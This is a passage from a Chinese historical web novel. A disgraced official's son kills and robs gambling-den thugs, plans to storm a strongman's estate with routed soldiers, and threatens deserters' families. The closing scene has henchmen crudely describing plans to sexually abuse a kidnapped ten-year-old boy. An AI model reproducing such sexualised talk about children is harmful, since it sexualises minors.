那伙计不由分说的把水递上来。接着就从门后围上来十几个人。 遇上了地头蛇,高承翊无奈道:“各位兄弟,我是家中有病人才来城里买药的,实在是等着这药救命。” 他将钱袋丢了过去:“还望诸位高抬贵手,放我回去吧。” 那人一手接住,颠了颠,冷笑了一声,是嫌少。 这些人是求财的,若是有人陪着来的,他们拿了钱也就放人了。可高承翊现在就是个外来的灾民,杀他不会被人发现。 可以永绝后患,还能彻底拿走他身上所有的钱财。当然,还有街口那匹好马。 高承翊已经把马放的很远了,就怕有人起歹心,却不料他打听阿芙蓉的当下,就被这群人盯上了。 他把那手掌大小的药包卡在了腰带里,往后退了一步,警惕的看着那些人。 他没有武器,刀在进城前就被守卫收走了,身手还在。 高承翊装作害怕要往后逃,一个假动作后,冲上前,一膝顶上离他最近那人的肚子,夺刀后,就劈砍上去,他没有顾虑,也不留情,刀刀都下的杀手。 这些打手平日里都是对着普通百姓,最多是些所谓道上混的兄弟。那些人,只会拿着刀吓唬人,哪遇到过像高承翊这样凶神恶煞的。 这人看上去文质彬彬,除了个子高些,似乎没什么特别,可没成想,拿起刀子就是个江洋大盗。 他横刀比住了一个人的脖子,喝道:“我不想杀人,全都退开!” 兄弟们给刘老爷看场子是为了挣钱,不是为了卖命,遇上个不要命的,他们一时都打了怵。 高承翊冷哼了一声:“敬酒不吃吃罚酒,给脸不要脸。” 他手上一用力,那人的脖子上就沁出一道血痕:“你们都不是我的对手。” 这里稍有头脑的便猜出他是战场上下来的逃兵,只有兵和匪才能干出杀人如切菜的事儿。 高承翊道:“把刀丢下。” 他的眼神太可怕,拿刀的手也太稳了。 这里十几个人面面相觑,都不敢上前,一个丢了刀,其他的也跟上。 他继续开口:“踢过来。” 他们便把刀子都踢到了高承翊脚下。 高承翊道:“这么大的赌坊,存着不少银子吧。” 都听过团伙儿一堆人去抢劫的,没想到这活儿一个人也能干。 高承翊警惕着,只是听到了身后有脚步,就立马喇了刀尖上人的脖子,挥刀往后又砍死了一个。 两刀死两个,即使是后边听着动静赶来的人都不敢再动了。 高承翊甩了刀上的血:“你们东家给多少月例银子,这么卖命值得吗?” 你也没给人逃的机会啊。 那些人本能的靠在一起,高承翊一动,他们就往后退。 高承翊被逗乐了:“我拿钱走人,你们死了人,也好交代。” 他只有一个人,着急走,没拿太多。两个包袱的银子,装得沉甸甸的。 出门后,没敢走路上,放皂雪自己跑出城,他则跳上房檐,在屋舍小路间绕了十几圈,才出的城。 时辰尚早,高承翊吹哨把皂雪唤来,骑上后专门绕了山路,在确定没人跟着他后,才放松警惕,走回了原本的路。 高承翊骑在马上,走着走着觉得头有些晕。他心道或许是因为刚刚杀了人。他还没有嗜血到杀了人会无动于衷的地步。 今日杀人越货,他已与匪类无异。 可这并非他所愿,母亲告诉两个小的,要算着人,防着人才能活下去。今日他不动手,死的就是他。 他死了,弟弟们也活不下去。 世道如此,他必须残忍。 好累… 又是这种感觉。 这是第三次了,自从…在牢里被那太监,喂了那颗药丸之后… 除了头晕目眩之外,头上背上的伤口,又开始疼了。 越来越疼,那疼痛很快扩散到了全身。 肌肉,骨头,膝盖,指缝,就连头皮,发根都在抽搐着疼痛。 高承翊用仅存的意识,骑马进了偏僻的林子,他将重要的药,全绑在了自己身上。 眼前越来越模糊,他感觉自己没了力气,从马背上掉了下去。 摔在泥地里,他撑着地站起来,没走两步,眼前就全黑了,好像被树枝绊倒了,那树枝碰在他小腿上的触觉,就像是小腿被人打折了那般疼。 高承翊不确定自己身在何方,他想要找一处隐蔽的地方,等这疼痛和眩晕散去。又怕他死在这里,弟弟们找不到他的尸体,拿不到夏辛的救命药。 他太疼了,无助的用手锤地。 手脚并用的在地上爬行,直到身体下坠,掉进了一个泥坑里,完全失去了知觉。 36.溃逃 夜幕降临后,高濯衡就搬了个小板凳,坐在院儿门口等大哥回来。 夏辛原本已经睡下了,一觉醒过来,他二爷不在身边,立马跛着脚来找。 寻到门口后,也坐在台阶上,靠抱着高濯衡陪他一起等。 他们这里距离江边的港口很近,俩孩子等着等着,突然听得远处的江面上有喧闹声。 这时已经是下半夜了,高濯衡搬了个梯子,靠在墙上,爬上房顶去看。就见远处泯江江面上,出现了成片的战船。 “怎么了?”夏辛抬着头问他。 高濯衡道:“好多的船。” 他们来越州比较迟,没见着抚州沦陷两日后,越州这边战船下水的盛况。当然从官道走的士兵比走水路的更多。船可运重型的攻城炮车,修整平坦的路面,则适合策马急行军。 再看高承翊这边,夜幕里,他知道自己正趴在地上,也明白自己似乎昏睡了很久,他想爬起来,二宝还在等他回去,夏辛也等着药救命。 他不能躺在这儿,他一定要回去! 可头还是昏沉,背上似乎有百斤的大石压着他,他越是想动,手脚就越是没有力气。眼皮都抬不起来,渐渐的有水落在身上,是下雨了吗? 那密集的水珠不间断的砸落,不过片刻,他浑身就都湿透了,水让他的身体更加沉重,而那砭骨的寒意也自地下钻入他的身躯。 高承翊意识到不能这样下去,他想的并非是躺在雨里会死,而是有些药粉不能泡水,即使用油纸包着,也经不住雨这样淋。 他费力的跪起,头着地弓起身体,让胸腹离地,把药包放在腿上,用腰背挡住雨水。 …… 不要再下了… ……… 不要再下雨了… ………… 雨水带走他的体温,他却怕这雨水带走了夏辛的生机。 母亲…我该怎么做? 父亲,我该怎么做? 大哥的疼,是无处说,也不能说的,他不能表现出伤心,他要一直挺立着当弟弟们的靠山。 即使再痛苦,他依然要砍树做棺木,挖坑葬亲娘。 即使满身的伤,他依然要告诉弟弟,他不疼,他还承受得住,会好的,一切都会好起来,很快就能见到父亲,很快就能到冀州老家。 什么都不会变,母亲会在天上守护着我们。 ——可他清楚的明白,全变了。 他不知何去何从,若父亲叛国重罪坐实,与他有关的所有人,都无法独善其身。 他和衡儿会面临什么样的未来? 流放?充军?他知道朝廷最喜欢将罪臣家的男孩子施宫刑,让他们永生为奴,不男不女,不人不鬼,永远抬不起头。 若真如此,他宁可一死了之。 可…衡儿呢? 他怎么办? 高承翊觉得自己似乎是流泪了,他该哭一哭,为赵蓉,为死掉的百姓,也为他自己。 他在四月末的倾盆大雨里,跪成了一尊奇怪的雕塑,只为护住抱在怀里的药。 不知过了多久,他似乎能动了,身上不再厚重,也不冷了。 天亮了,可还是有雨。他动了动眼皮和手脚,站了起来。昏沉的四周逐渐能看清景物。 这不是在野外树林里,他又站在了抚州城的城楼上,天上下的也不是普通的雨,那分明是血雨。 目之所及,无论是城楼上还是城楼下,全是百姓的尸体,他跌撞着往下走,台阶上的尸体堆积,挡路又绊脚。 他不想踩着那些人,可一眨眼,却站在了那些的尸体上。 脚下的身躯太软了,还没走两步他就跌倒,只能撑着那些尸体爬行。 再抬眼,高大的城门,就竖在他眼前,那门洞里被尸体塞得满满的。 高承翊觉得自己的意识漂浮在了半空中,并不在那躯体里,他看着自己的身体哭嚎了起来,似疯了一般的拖拽着那门洞里的尸体。 费力的拖出来,将那些背对着他的人,一个个翻过来,接着就是一张张熟悉的人脸。 有府中的仆从丫鬟,有同窗,有说过话打过几次照面的书生,有教过他课业的先生。 母亲… 父亲… 甚至是外祖、曾外祖,舅舅… 孔祥、宋遥、张廷皓… 认识的不认识的,老的少的,男的女的,死的活的混在一起。 最后一个,是他的二宝。 那个和他长得一模一样的高承翊,横抱着弟弟的尸体,呆楞的跪着。泪痕干在脸上,眼睛里没了光。 高承翊想去看清怀中那孩子的脸,那张脸却在他眼前慢慢腐烂,就连躯体都化作了一滩血水。 高承翊腹中一阵翻涌,他干呕着醒了过来。 身体还维持着头着地的弯曲跪姿,他没吃东西,腹内是空的,呕不出东西。 他咳嗽着侧身倒了下去。 这回是真的天亮了…… 雨停了,他从梦魇中,活了过来。 太阳晒在身上,他运气还算不错,摔在一个半人高的浅沟里,正上方还有石块遮掩,若不拨开灌木仔细寻找,是很难发现这里躺着个人的。 药包还在,他头发和背湿透了,可身前,尤其是前腰、腹部,竟然不算太湿,水没有淋进皮肉,而那几包不能浸水的药粉,就被他贴身放着。 那两个装满银锭的包袱也被他用绳子捆在一起,绑在了脚腕上。高承翊先是数了身上的药,确定一味不少,一滴没漏后,就爬上前捡包袱,抱怀里掀开一条小缝,确定里头是银亮亮的没错,他才放下心来。 无奈自嘲了句怕死更怕没钱后,他站起身。 和前两次一样,醒过来后身体特别的轻。他缓过来干呕的那股劲儿后,头也不疼,背也不疼,哪儿哪儿都特舒坦,根本不像淋了一夜雨的样子,可分明昨晚是疼的想死的。 他知道这是他身体的异状,且应是跟那枚药丸有关,因为那梦太真了,他头一次做梦时分不清梦和现实。 可高承翊没有时间多想,他爬出了浅沟,找了处水边,稍微将身上的泥污清洗后,就踏上了归途。 他走的很快,带些小跑,不时吹两声哨,可皂雪却不在附近。他的马训得好又聪明,向来会认路寻主,按理说即使昨晚皂雪找地方躲雨,也不会离他太远的才对。 带着疑惑,越往回走,就越是不对劲。 临近江港处,无端多出很多人,有百姓,可大多数是士兵,且是伤兵。 他护着包袱,往他们所租小院的方向跑了起来,路边横七竖八躺着的全是伤兵。 有人叫他:“诶诶…你有吃的吗?” “包袱里是什么呢?” 那伤兵问完,就想来抢他的包袱,那人的眼睛被弹片扎瞎了一只,血还未干,眼下有一道血泪的痕迹,比高承翊瘦小上很多,可他一走上来,其他或坐或躺的伤兵也站起来,朝高承翊围了过来。 “你们要抢夺百姓财物?”高承翊问,“你们是谁的部下?哪个卫所的兵?” “军爷们这不叫抢,兄弟们在前线卖命回来,肚子饿了,你孝敬点吃的,本就是应该的事。”那人道。 “军中自有粮饷发放。”高承翊不吃他们那套,“我家中还有幼弟,这包里是给弟弟治病的药,不是粮食,这里全是晏江的灾民,没有多余的粮食给你们。” 他说完后,那几人居然还要上前:“是不是粮食,拿出来看看自见分晓。” 那手伸过来就要抢他的包袱,高承翊躲了一下:“大渊的兵没有抢百姓粮食的规矩。你们到底是兵,还是匪?” 那人问:“与你何干?” 高承翊道:“若是兵,就不该抢东西,抢东西的就是匪,是匪就该杀。” 伤兵看着眼前这个高大魁梧的年轻人,眼神锐利,样貌英挺,说起话来就像前两天的他们一样天真,就是身上有些脏。 这边刚想再说什么,便见孔详从不远处小跑过来,他抱了个木盆,里头放了许多面饼,宋遥也跟着,在给伤病们发放。 他拦在了高承翊和那些士兵中间,大嗓门道:“都说了叫你们等会儿,等一会儿!这是干什么呢?蒸饼子不 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他虽此前立马横刀杀水寇,但还从没突然发过脾气,他就是个少年郎,平日里看着温文尔雅,大家都把他当做官家贵公子,女人们没见过他这样,全都停手不敢再动了。 孔详也是,那日在城墙上情况更严重,他跪下来磕头,他们两人互相砸拳头,他在高承翊眼中看到的是痛心疾首,是无奈悲凉,而不是今日这样难掩的戾气。 那眼神阴戾至极:“你可真是大方啊,你在越州有多少田产?你口袋里有多少银子?这么多人,你能喂饱几个?” 就连孔详这种十七行伍,半生和兵器、老爷们儿打交道的人,在他这样强势的压迫感面前,都一时说不出话来。 他眼神飘忽的躲避着高承翊的视线。 喧闹被隔在门外,屋内寂静无比。 高承翊的腮帮子鼓动着:“我弟弟呢?我弟弟的呢!” “攻城战败了。”说话的是云姝。 谁管那些?城攻下与否,死了多少人,大渊朝的朝廷烂到了什么地步,军队懒散成什么样子,今日又要死多少人? 他高承翊如今一概不想知道! “我问的是,我弟弟呢?” 云姝道:“昨夜有伤兵们陆续从江上过来,他们逃了两三日,行军袋里的粮食都吃完了,剩下的一点儿也都泡了水。” 高承翊的目光看向云姝,云姝也被吓得不敢说话了。 孔详心道你这样看谁谁都不敢说话啊。 便叹了口气,接过了话茬儿:“你…冷静点,这前后因果得说清楚不是?。” 两个女人给高承翊搬来一条长凳:“坐吧,坐下说。” 见他坐下,孔详才再开口道:“陆陆续续回来好多,江岸边全挤满了。当时攻城是,说是有…十万大军,这里逃回来的,多是后军。我问了战败的原因,都说不出所以然。调兵很乱,还没看着城墙呢,就只跟着人跑。” “一会儿让往左,一会儿让后退,一会儿又叫推炮车,一会儿让挖战壕,一会儿又让填土再退。”这是把伤兵们的话完整的复述了一遍。 军队涣散,指挥混乱,士兵们都不知道自己在干什么。 “接着,就被撵着跑了。” 高承翊上过战场,读过兵法,他懂这个。 在没有血海深仇作为信念时,丰厚的封赏和督战的刀子,是上阵杀敌一定要具备的东西。 敌我汇阵对冲时一定会死人,这时只要有一个人害怕了,往后退了,便会有更多的人跟着他退。 有人后退,就会军心不稳,军心不稳,行阵不齐就打不赢。 身边的袍泽一个个倒下,反而跑得快的还能留住性命,士兵们看不见赢的希望,都想保命,就会四散奔逃。 高承翊道:“这是溃逃。” 且人越多越是如此,所以对战不在兵多,而在于精锐强干,以及将领精准的调配能力。 一万精锐足以对抗十万散沙。 37.二宝丢了 孔详双手扶住了额头,他这几天一直在考虑抚州城打回来后他们该怎么办,现在好了,不用考虑了。 这里虽挤满了人,可也不可能有十万那么多。 “运气好的上了船回来了,运气不好的死在刀下炮下,回来的这些人里,有我认识的。”卫所间会互相调动,越州和抚州挨得近,“以前一起操练过。” 他们的存粮一部分是唐若留下的,大部分是日前来越州后,在农户手上买的。前两年都是丰年,那时越州的米价还很便宜,高承翊做主买了很多,屯在小院的米仓里。 想法也简单,就怕前线出什么岔子,导致越州米价上涨。 如今战败,不过多时越州会挤满退回来的残兵,他们中的绝大多数都会留在越州,等待朝廷的再次整队收编。 这么多人,不过一月,就会吃空越州的粮仓。 粮不够吃,米价会成倍增长。 江南的女人们都不太会做面食,小柳河的女人们便尤甚,不过赵蓉带出的人里,有不少普通庄户人家,如邵家母女。 她们更会操持些,妓子们跟着帮忙,饼子蒸的还算像样。 这会儿都停了手,听他俩说话呢。 其实大家都有顾虑:“这样的吃法,就算做稀饭来分,米也不够几天的啊。” “我看越州本地的兵,有家人寻来给他们送吃食。” “过几天朝廷会给他们发饷的吧,总不能一直在咱这儿吃不是?” 云姝问道:“水寇会打来越州吗?” 高承翊沉思了片刻道:“朝廷会再来整军的。” 战乱时女人孩子没人要,青壮男性还是有作用的。 “怎么会败得那么快呢?”云姝道,“这也就不到两日…” 她除去了那些人逃回来的用时。 云姝脸上有忧色,她们逐渐的已经对获得胜利这件事丧失了原本该有的信心,固若金汤的城墙和泱泱大国的军队,是如此不可置信的不堪一击。 “越州呢?”云姝道,“就这一条江,万一水寇的船开来了,怎么办?” 她说的,仿佛今晚就会在江上看见水寇,寇贼上岸杀人,残兵们逃跑,而她们,又会被扔下,面对长刀和凌辱。 那一双双担忧、惊惧的眼睛,全看着高承翊。 “水寇们也要吃饭,不可能一直作战。刀、甲、火器都要修整,弹药打完也需补给,不会来那么快的。”高承翊道,“越州其实…很好守。” 越州地形和抚州十分相似,都是山多水多,道路蜿蜒,当年修官道,为了平山,用了很多炸药,才将路面拓宽。 虽有官道,但民间运输还是多走水路。 高承翊道:“只需炸断官道和桥梁,堵死山路。到时水寇的炮和车就只能走水路,也就是渡岷江。岷江是天险,水流湍急,且江面不似海面,容不下那么多船,他们只要敢把船开过来,这边几只火箭,就能把船烧得一艘不剩。大渊的军队只需驻守江岸,水寇们若是想下水渡江,只需待他们游至江面中段,用箭和火炮射过去,血肉之躯顶不住,在火器的干扰下,大批步兵想上岸,难如登天。” 但也有办法,高承翊没有说出来,若让他来当水寇,他会选择一个江面起大雾的清晨,携小队精锐淌水渡江。上岸后先在两岸间的隐秘处绑上铁锁。之后寻找机会,放火骚扰。 待火势起后,后续步兵趁火势引起了混乱,雾还未散尽时下水,摸铁锁过江,和已在对岸的先头精锐两面夹击,展开对攻。 此时渊军驻守江面的部队必定会因为他们的前后夹击和火势,致兵力分散,对江面的掌控力下降,寇军便可让所有人马和重火器,行船至对岸后大举进攻。 若配合得当,没人泄密,胜算很大。 当然,渊军也有克制之法,甚至可以利用这种冒进的举动做局,等寇军来,用埋伏的援兵让他们永远回不去对岸。 两军交战前,统帅的任务就是利用一切方法,去了解地势,侦察敌情,再制定战法,你以为对方有两万人,其实背地里还藏了五千,那你就输在那五千。 你以为烧的是对方的粮草,可其实那就是个陷阱,那你就输在探敌不明。 长期做战打的是补给军需,而交战打的是脑力间的互搏。不是你掉入别人的圈套,就是别人掉进你的陷阱。 会打仗的将领绝不可能只是个莽夫,他们要对自己的决策有绝对的信心,要有泰山崩于前面不改色的坚毅,还要有被尸山血海浸染过仍旧不熄灭的对胜利的渴望。 战场的胜负是考验将领和他统帅军队的金标准。 比如现在,孔详和云姝,以及这一屋子的女人们,都对高承翊的话坚信不疑。 这个人不知不觉间,已经成为了他们的支柱,似乎只要跟着高承翊,紧紧的抱成团,他们就不会被打散,不会挨饿,不会死。。 高承翊抬眸在她们的眼神和表情里,也看清了这一点。 肩上好重,他都不知怎样去担负。 可都是人命,这些人如今还活生生的站在他眼前,男人们是他亲手从战场上带下来的,而女人和孩子们,另有那些普通百姓,其中有农户、商户,是赵蓉从城中带出来的。 他又想起了昨晚的噩梦,眼前人的脸,在昨夜的梦里,都出现在了他翻开的尸体上。 他不想再看见死人了,无论是因为战乱,还是因为饥寒。 他相较之前平静了不少:“行…行吧,别加水了,做…做干饭吧。” 死里逃生,怎样也该吃点干的,都不容易。 云姝应了一声,厨房里又开始忙碌起来。 “衡儿去哪儿了?”说来说去,还没说到高濯衡呢。 孔详拉住他:“你…一定要冷静一点。” 高承翊心里那异样的感觉再度升腾,他立马拽住了孔详的衣领:“不要跟我打哑谜。” 孔详道:“孩子昨夜等了你一晚上,也是他最先看到江面上的船。你越不回来,他就越是担心你,总站在村口等,我叫了几次,都不肯回来,夏辛一直跟着他,咱们人多都在外头转…我觉得是…出不了岔子的…” 高承翊双目圆睁:“什么意思?我弟弟丢了?” “不…不能算丢,我知道他在哪儿,有人跟着的。”孔详道,“你…你松手,掐死我了!” 高承翊的手松了点,却没有完全松开:“我弟弟要是少一根汗毛,我真的会掐死你! 孔详心里有愧,只继续道:“也就一个…不,不到一个时辰之前。他和夏辛一起,去外头跟伤兵们打听抚州的事情,却在离港口不远的地方,被一队人掳走了。” 还不等高承翊发作,孔详立马按住了他的手:“有人跟着的!宋遥也骑马跟在后头呢。” “为什么不抢回来?”高承翊问。 孔详道:“他们队伍里,有你的马,孩子也是看见那马,跑上去,才被拎走的。 高承翊刚刚上头的热血凉了下来。 皂雪…… 孔详继续道:“伤兵里有越州本地的军户,我让给他们做饭,是有不忍看他们挨饿的私心,但也是想跟他们打听打听那队人马的事,你那时还没回来,你的马又在那些人手上,我们猜测你也被那些人抓了过去,为了不打草惊蛇,才跟在后头。” 高承翊道:“我…我在城中遇了点事。”他隐瞒了昨夜突然不能动弹,晕倒昏迷之事,“就放了皂雪好只身躲藏,想来是…被他们套走,劫了去。皂雪虽温顺,可也不是是个人都能牵走的。” 肯定是被马套栓住后挨了鞭子,马跟着他都受罪,弟弟跟着他也吃苦。 高承翊心疼得要命。 这边才说完,门口就有马蹄动静,是宋遥回来了。高承翊这边打开房门,他就下马迎了上来。 他见高承翊,脸上颇有惊异之色:“你果然没死啊!” 高承翊问“怎么样?我弟弟他…” 宋遥道:“就在距着不到二十里的一处庄子里。” “农庄?” 宋遥一路跑马回来,全身大汗淋漓,走到水缸边拿起水瓢又喝又浇的,他喘着粗气道:“比农庄大,有水田,林场和后山,还有一片湖,那地方是特地挑过的,除了背靠的后山,前侧三面都没有地势特别高的地方,我爬树看,只能看见一些建在林子里的房子,马道通到了山里,山里肯定还有房子。” “地方特别偏僻,四周修了望楼,就像…一座小城寨。”宋遥道,“我留了几个当过斥候的兄弟望风,地方…太大了,我怕里头养了私兵,没准还有火器。” 一锅米和面饼出锅,女人们将食物端出来,伤兵们用头上的铁盔来盛饭,装馒头。 他们是临时调动,且非远行军,故在越州集结完毕,前去抚州时,行军袋里只有两三日的干粮。急行军一路未搭灶台休息,到抚州城外开打时,行军袋里的干粮已所剩无几。 接着是溃逃,只顾着低头奔命,游水爬山了,两天都饿着肚子的大有人在,这会儿一个个都狼吞虎咽的吃着。 有几个来喝水的兵听到宋遥的话,便插嘴道:“你们说的不会是刘家的庄子吧?” “你知道?”高承翊几人同时望向那士兵。 那士兵点头:“我是越州梧县人。” 梧县在越州的最北边,从越州府去梧县,还需走个两三日。 “刘姓在梧县是大姓,我和那刘具也算是同乡。”那士兵道,“他原本就是个地痞流氓,谁知到了越州混出了名堂,我听说是开赌坊,放虎皮钱发的财,手下有不少逃犯土匪。家中排行老三,人人都叫他刘三爷。想必是听闻了兵败,来此地探听情况,顺带趁乱抢人?” 抢人?还能顺带?! “你家弟弟几岁啊?” 高承翊人直直的站在原地,他还在思考:“十…十岁。” 那当兵的说:“家中孩子必得看好了,就算是太平世道,拐子把孩子偷了,也没地儿找去啊,何况是…现在这…乱成一锅粥了。” 他想起城中的赌坊,东家也是姓刘。 是啊…乱成一锅粥了,怎么办? 二宝也丢了… “夏辛呢?”他问。 伤兵们吃着饭,刚刚他们也都看见了:“先前被抢走的是你家弟弟?” 高承翊点头。 那兵上下打量了他一下:“是挺像的。” 其实长得不算很像,但都是十分精致体面的漂亮长相。 “白脸蛋儿,粉扑扑的,大眼睛红嘴巴,委屈巴巴的憋着嘴,站村口伸着脖子盼你回来呢。” “对,我也瞧见了。我见孩子长得好,还问他等谁,他说等哥哥,我问他哥哥长什么样儿?也是当兵的吗,以前在那个卫所的?他就低下头不说话了,身边儿还跟这个跛脚的小卷毛儿。” 他这样一说,这一圈的人都说瞧见了,七嘴八舌的议论了起来。 “那队人都骑着马,有三十多个。”宋遥道,“衡儿看见了皂雪,一下就急了,跑过去要把马牵走。先动手的是个喽啰,给孩子踢开了。” 宋遥也是听当时在场者转述的。 在场者这里就有不少:“没错没错,孩子说那马是你的,那些人不给,还抽了他两鞭子。” “接着你们的人就冲上去拦着,还有两个跑来这儿跟孔百户报信。” 宋遥道:“我们赶到时,他已经被带走了,我们人多,原本打算立马去抢的,可你的马在里边。” 比起高濯衡,他们更在乎高承翊的安危和去向。 “于是我便骑上马跟在后面,他们走的不快,除了衡儿,他们的木车上,还有几个被抓的女人、孩子。”宋遥说完看着他,“怎么说,一起去,把衡儿抢回来?” “能行吗?大户在朝廷里可都有靠山。” 高承翊转身回了后厨,孔详两人立马跟了上去,他关上门,将一直没放下的包袱,砸在了桌上。 沉重的碰撞声后,是包袱布滑落,露出里头亮亮晶晶的白银。 宋遥他们看着,下巴都要掉地上了,云姝也是,和几个姐妹,一排排站在门口,把门给压实了。 “你哪来的这么多银子?”宋遥问,“你堵道儿上抢劫的?” 不对,抢劫也抢不来这么大的银锭啊。 “你抢钱庄了?”宋遥不禁连连赞叹,“我怎么没想到呢!” 高承翊也不解释:“拿锤和称来,都来帮忙称银子。” 云姝问:“要做什么,买粮米?” “靠山的庄子,有林子,有湖,有望楼。”高承翊眼神扫视着,盯着在场的所有人,“有水田…” 孔详半压着揽住他的肩膀,他又一次被高承翊那眼神吓住了,握着拳头的手都在抖:“你想干嘛!” 高承翊侧目看他,那眼神坚毅:“想带着你们一起活下去。” 他拍住孔详的手:“你听我说,我想不会是私兵,最多是些恶霸地痞,一些打手。越州不是民情混乱之地。官府不可能容忍落草为寇,占山称雄,豢养私兵的事发生。但越州富庶,大户们家中有几万亩田产,几座山林十分常见。” 孔详听出些端倪,高承翊要去抢庄子。 “你以为是人都可以开赌坊,放虎皮印子钱?这刘具在越州必定是有些手段和人脉。” “越州会乱的!二宝还在他们手上!”高承翊道,“机会就在眼前,占住块地方,守着地和粮食,就还有活路!” “当然,如果乱不起来,是最好。”高承翊用刀柄把银锭敲碎,“这件事要做的隐秘,不用太多人,六百…不…四百人左右就行。除了咱们带过来的兄弟,在这里找些还能打的兵,你不是认识几个吗,熟人带熟人,你去盯着,要能说清楚家里情况的。体格健壮,伤越轻越好。若有箭射的准的,提前告诉我,我要单独检验。” 看宋遥的表情,就知道他跃跃欲试:“这里这么多,就全给了?” 高承翊道:“要分一半去屯粮,粮食肯定会涨价,万一是一个空庄子,地里的稻还没熟呢。” 事 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“那也要谨慎,抚州的守备军里,曾经就有水寇混进的先例。”高承翊解释道,“咱们首先是要保住性命,如今抚州回不去,得找个地方落脚,真能打下来,再看庄子里的田亩数量,决定募人与否。” 他陈述着自己的设想:“越州肯定会乱,但不会乱得太过,粮食吃空后,就会饿死买不起贵价米的穷人。” 流民、灾民和无部队收编的伤兵,都买不起贵价米。 “甚至会有大户屯米,哄抬米价的情况。”高承翊道,“朝廷会派兵驻守江岸,在军队稳定下之后,才有功夫来管米价和流民,我想到时候,会饿死将近一半的人,这些人里,八成都是抚州的灾民。” 人不是牲畜,兔子急了还会咬人呢,稍稍能动的人,都不会毫无挣扎的被饿死。 伤兵和流民中的男人们,会去抢老人、女人、孩子们的粮食,会为了粮食杀人,甚至为了活下去吃人。 他指了指自己:“比如我们,就必须要在尚有一战之力时——去抢。” 他看着桌上的银子,又看了看自己握刀的手:“是他们抢了我弟弟在先。” 他是二品大员的嫡长子,自小聪慧,会骑射,会兵法,甚至跟着父亲上过战场。 他童试、乡试皆是一考即中,他明年就该去参加会试,之后殿试,接着入朝为官。 可他现在,带着一群残兵,要去抢人家的山庄。 高承翊没有叹气,他甚至都没有丝毫犹豫,他心急如焚,他害怕他去迟一步,二宝就会出意外。 他将银子的来历说了出来:“那间赌坊的老板,也姓刘,或许就是一个人。” 高承翊道:“如若越州很快能安稳下来,你们愿意,便可留在庄子里,耕种生活。如若越来越乱,当真走到弱肉强食,各地民兵起义的地步,咱们便也可借由庄子,屯兵屯粮,向外扩张。” 战争的本质就是抢夺,仁义之师的名头,是胜利者才有资格安上的。 “我说的这些,可以向兄弟们说明。” 这可以鼓舞士气,打下来,就是他们的了。 高承翊正色命令道:“孔详,宋遥,快速准备,天黑后立即出发。” 孔、宋二人以士兵的姿态响应道:“是!” 女人们接手了称银子的工作,高承翊去清点装备。 天才擦黑,他就去林子里等着,孔详找的人,三三两两陆续走进来。 只要进来,就能领一份银子,自愿当排头先锋的,可领三份。 其余的,等战后,拿人头算钱。 但定下规矩,山庄内投降者不杀,女人孩子不杀,普通佃户,手无寸铁者不杀。 最后,便是高承翊一脸阴鸷肃杀的警告:“临阵脱逃者,同队看见,可立即斩杀,能逃走的,也算本事。不过你们的名字、籍贯孔详那都有登记,找不到本人的,我会找去你们家里。” 这是彻底的杀人全家以作威胁。 士兵们察觉到上了贼船,却已没了退路,到底是拿了买命钱,要去搏一次。 路上有新入伙的问老兵:“你怎么一点都不担心。” 老兵拍了拍他的胸脯:“那可是高总督的儿子,比他老子还能打。” 新兵诧异:“真的假的?” “你就放心吧,我们这些弟兄全是他从死人堆里拽出来的。他还带着我们杀了几百个水寇呢,在马上耍马刀,一刀就斩一个贼头,我还是第一次见!” 立马有兵跟着附和:“我不想白白丢了性命,也不想窝在港口被饿死。越州城都不让咱们进呢,咋滴,咱们不是人?” “他们不把咱们当人,咱们得把自己当人。” “就是!那些货色也不是什么好东西,抢了人家的弟弟,欺男霸女的玩意儿。” “谁?什么抢了人家弟弟?” “你不知道?就是咱们现在要去讨的那个刘具,抢了咱们指挥的弟弟。” 卫所和守备军的指挥使,手下可是有几千人的,他们这只有几百个人,可高承翊也没个称谓,直叫名字不够尊敬,叫人家高公子,也不像个打仗的。 其余的江湖称呼,太过匪气,他们怎么说也当过朝廷的正规军,都是正正经经的军户出身,是瞧不起土匪的。 孔详和宋遥一合计,就让士兵们管叫高承翊‘指挥’。 “嚯,我瞧着了。”他们是带着小跑的,说话都有些喘,“那男娃子,长得可好看哩。” 一个越州兵跑上了他们中间:“刘具掳走了指挥的弟弟?” “是啊,怎么了?也是奇怪,要个男娃干啥呢?” 那孩子看着就什么活都不会干。 那越州兵道:“刘具在越州挺有名的,是道儿上的大爷,我是听说的,不知道是真是假,他有个毛病…” “你说啊!” 高承翊不知何时,站在了他们身后。 他的马没了,宋遥在前边骑马带路,他就走到了队伍中间,他不像真的将军有醒目的甲胄,穿着布衣皮甲,戴铁盔走在士兵里,在夜色的笼罩下,也只是个高个子兵而已。 “他…”那兵欲言又止,“算了…应该不是吧…” 高承翊提溜住了那人的后脖领,不容置喙的声音就传进了那士兵的耳朵里:“说清楚。” 这声音刚刚给他们训过话,那小兵都不敢回头去看,哆嗦着说:“他…刘具…都说他喜欢…玩儿…小孩子。越小的,越…喜欢。” 高承翊:“玩儿?” 士兵点头:“我家有个表亲在他府上做工,说他每年要去各地买来许多孩子,全是男孩儿,小的六七岁,最大的都不过十三。有的…一个晚上,就会被…横着抬出来…裹上席子,埋后山。” 高承翊松了手,他往前奔跑着,边跑边叫道:“全速前进!全速前进!” 遇上他觉得走得慢的兵,他还会出手拽人家两下。 38.温寻墨 高濯衡和夏辛一起被关在了一个装着木栅栏的马车上,是那种像关牲口的车,另还有两辆,他这辆里还有两个七八岁的小男孩。 另外的两辆则是有男有女,女孩儿年纪大些,男孩儿年纪都很小。 高濯衡眼睛一直盯着前头的皂雪,马认得他,就故意走慢些,跟在他的车旁。 皂雪脖子上被套了带刺的绳索,却仍旧不愿给陌生人骑,故而它背上没有人。 周围人看着,便笑道:“这马真是他家的啊,你瞧,跟着他呢。” 皂雪在这些普通马中十分显眼,它更大,更壮,它的鬃毛是高承翊细心打理过的,就这种时候,高承翊都不忘给它辫小辫儿。 有人把刀柄伸进木栅栏里戳高濯衡的脸,夏辛便上去挡着,俩孩子一起瞪着那个正调笑的人。 那人被瞪了也不恼,笑起来一嘴的黄牙,贼眉鼠眼就是那样了,他也盯着高濯衡,来回的打量着:“真是捡到个宝贝儿啊。” 一人搭话道:“真别说,跟着咱三爷这些年头,漂亮的孩子见得多了,可这么漂亮的,还真是头一个。” 那黄牙连连点头。 “那四爷您今晚得劝着点儿,咱三爷的那/话儿可带钩子,别一次就给玩儿坏,玩儿死了。” 这黄牙对小孩儿不感兴趣,但那方面也是男女通吃的,这么漂亮的小美人,养个四五年,就到了最美味的时候。 今晚就被刘具玩死了,确实不划算。这样想着,他都舍不得把这孩子送去给刘具了。 